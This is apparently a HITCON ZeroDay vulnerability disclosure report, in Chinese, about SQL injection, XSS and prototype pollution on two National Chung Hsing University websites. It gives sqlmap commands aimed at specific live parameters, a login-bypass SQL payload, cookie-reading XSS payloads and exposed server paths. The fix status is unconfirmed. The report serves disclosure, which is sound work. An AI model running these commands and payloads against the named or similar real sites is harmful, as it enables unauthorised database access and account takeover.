中興大學 網站存在 SQL injection 與 XSS 與原型污染 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2022-00434
  •  發信 Vendor: 中興大學
  • Title: 中興大學 網站存在 SQL injection 與 XSS 與原型污染
  • Introduction: 網站存在 SQL injection 與 XSS 與原型污染

處理狀態

目前狀態

公開
Last Update : 2022/09/08
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2022/07/09 03:51:49 : 新提交 (由 BTtea 更新此狀態)
  • 2022/07/09 04:01:43 : 新提交 (由 BTtea 更新此狀態)
  • 2022/07/10 19:18:37 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/07/11 17:25:53 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/07/11 17:25:53 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/07/11 17:25:53 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/09/08 03:00:01 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2022-00434
  • 通報者:blacktea_player (BTtea)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://pe.nchu.edu.tw/NewVenueRental/

https://nchuae.nchu.edu.tw/

敘述

使用工具 SQLmap 輔助測試

(以下若使用SQLmap工具進行注入時有中斷問題,請去除 --batch 參數後進行注入,遇到詢問連線異常是否繼續測試的訊息請選擇 y )

站點 http://pe.nchu.edu.tw/NewVenueRental/index.php (國立中興大學體育室 - 場地租借系統)

該站點有 xss 注入點會受到原型污染所影響 (jquery版本過低所導致)
xss 原型污染 payload

"><script>$.extend(true,{},JSON.parse('{"__proto__":{"z":"原型污染"'));alert(z);</script>

http://pe.nchu.edu.tw/NewVenueRental/index.php?module=query
post : queryPlace=羽球場++(夜間)&date=2022/07/01

POST 參數 queryPlace 存在 SQL injection
圖片
SQLmap 工具測試參數 : python3 sqlmap.py --random-agent -u "http://pe.nchu.edu.tw/NewVenueRental/index.php?module=query" --data "queryPlace=羽球場++(夜間)&date=2022/07/01" --dbs --batch -p queryPlace

POST 參數 date 存在 XSS 以及可以觸發原型污染

xss payload : "><script>alert(document.cookie)</script>

圖片

http://pe.nchu.edu.tw/NewVenueRental/index.php?module=venuerule&venuid=A
GET 參數 venuid 存在 SQL injection
圖片
SQLmap 工具測試參數 : python3 sqlmap.py --random-agent -u "pe.nchu.edu.tw/NewVenueRental/index.php?module=venuerule&venuid=A" --dbs --batch -p venuid

http://pe.nchu.edu.tw/NewVenueRental/index.php?module=announce&action=view&id=160
GET 參數 id 存在 SQL injection
圖片
SQLmap 工具測試參數 : python3 sqlmap.py --random-agent -u "http://pe.nchu.edu.tw/NewVenueRental/index.php?module=announce&action=view&id=160" --dbs --batch -p id

http://pe.nchu.edu.tw/NewVenueRental/index.php
左下角的頁面有可以登入的地方,帳密皆輸入 SQL payload 可以直接登錄

SQL payload : ' or 1-- -

圖片

(登入狀態下)
http://pe.nchu.edu.tw/NewVenueRental/?module=user_manage&page=108
post : userid=&userna=&item=查詢
POST 參數 userid , userna 存在 SQL injection
圖片
SQLmap 工具測試參數 : python3 sqlmap.py --random-agent -u "http://pe.nchu.edu.tw/NewVenueRental/?module=user_manage&page=108" --data "userid=&userna=&item=查詢" --cookie "PHPSESSID=這裡需要換成登錄後的phpsession值" --dbs --batch
(-p 指定要測試的參數)

(登入狀態下)
http://pe.nchu.edu.tw/NewVenueRental/?module=venueinfo
隨意修改一篇文章,加入 xss paylaod <script>alert(document.cookie)</script> 後儲存
圖片
然後回到原本的頁面即可觸發 store xss
圖片

無意義但不應該被存取的站點目錄可能導致資訊洩漏
http://pe.nchu.edu.tw/NewVenueRental/ckeditor/
http://pe.nchu.edu.tw/NewVenueRental/images/
http://pe.nchu.edu.tw/NewVenueRental/index.php/login/
http://pe.nchu.edu.tw/NewVenueRental/script/
http://pe.nchu.edu.tw/NewVenueRental/time.php

站點 https://nchuae.nchu.edu.tw/index.php (國立中興大學應用經濟學系)

該站點有 xss 注入點會受到原型污染所影響 (jquery版本過低所導致)
xss 原型污染 payload

"><script>$.extend(true,{},JSON.parse('{"__proto__":{"z":"原型污染"'));alert(z);</script>

https://nchuae.nchu.edu.tw/index.php?news_class=
GET 參數 news_class 存在 XSS以及可以觸發原型污染

xss payload : "><svg/onload=alert(document.cookie)>

https://nchuae.nchu.edu.tw/institute.php?institute_class=成立沿革
https://nchuae.nchu.edu.tw/about.php?about_class=理念宗旨
https://nchuae.nchu.edu.tw/member.php?member_class=歷屆系主任
https://nchuae.nchu.edu.tw/archive.php?archive_class=全系
https://nchuae.nchu.edu.tw/coursemap.php?coursemap_class=大學
https://nchuae.nchu.edu.tw/alumni.php?alumni_class=章程規則
GET 參數 institute_class , about_class , member_class , archive_class , coursemap_class , alumni_class 存在 XSS以及可以觸發原型污染

xss payload : "><script>alert(document.cookie)</script>

https://nchuae.nchu.edu.tw/news_info.php?no=1739
GET 參數 no 存在 SQL injection
圖片
SQLmap 工具測試參數 : python3 sqlmap.py --random-agent -u "https://nchuae.nchu.edu.tw/news_info.php?no=1739" --dbs --batch

https://nchuae.nchu.edu.tw/album.php?class=8
GET 參數 class 存在 SQL injection
圖片
SQLmap 工具測試參數 : python3 sqlmap.py --random-agent -u "https://nchuae.nchu.edu.tw/album.php?class=8" --dbs --batch

無意義但不應該被存取的站點目錄可能導致資訊洩漏
https://nchuae.nchu.edu.tw/.bash_profile
https://nchuae.nchu.edu.tw/.bash_logout
https://nchuae.nchu.edu.tw/.bashrc
https://nchuae.nchu.edu.tw/admin/
https://nchuae.nchu.edu.tw/banner.php
https://nchuae.nchu.edu.tw/index.php/login/

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;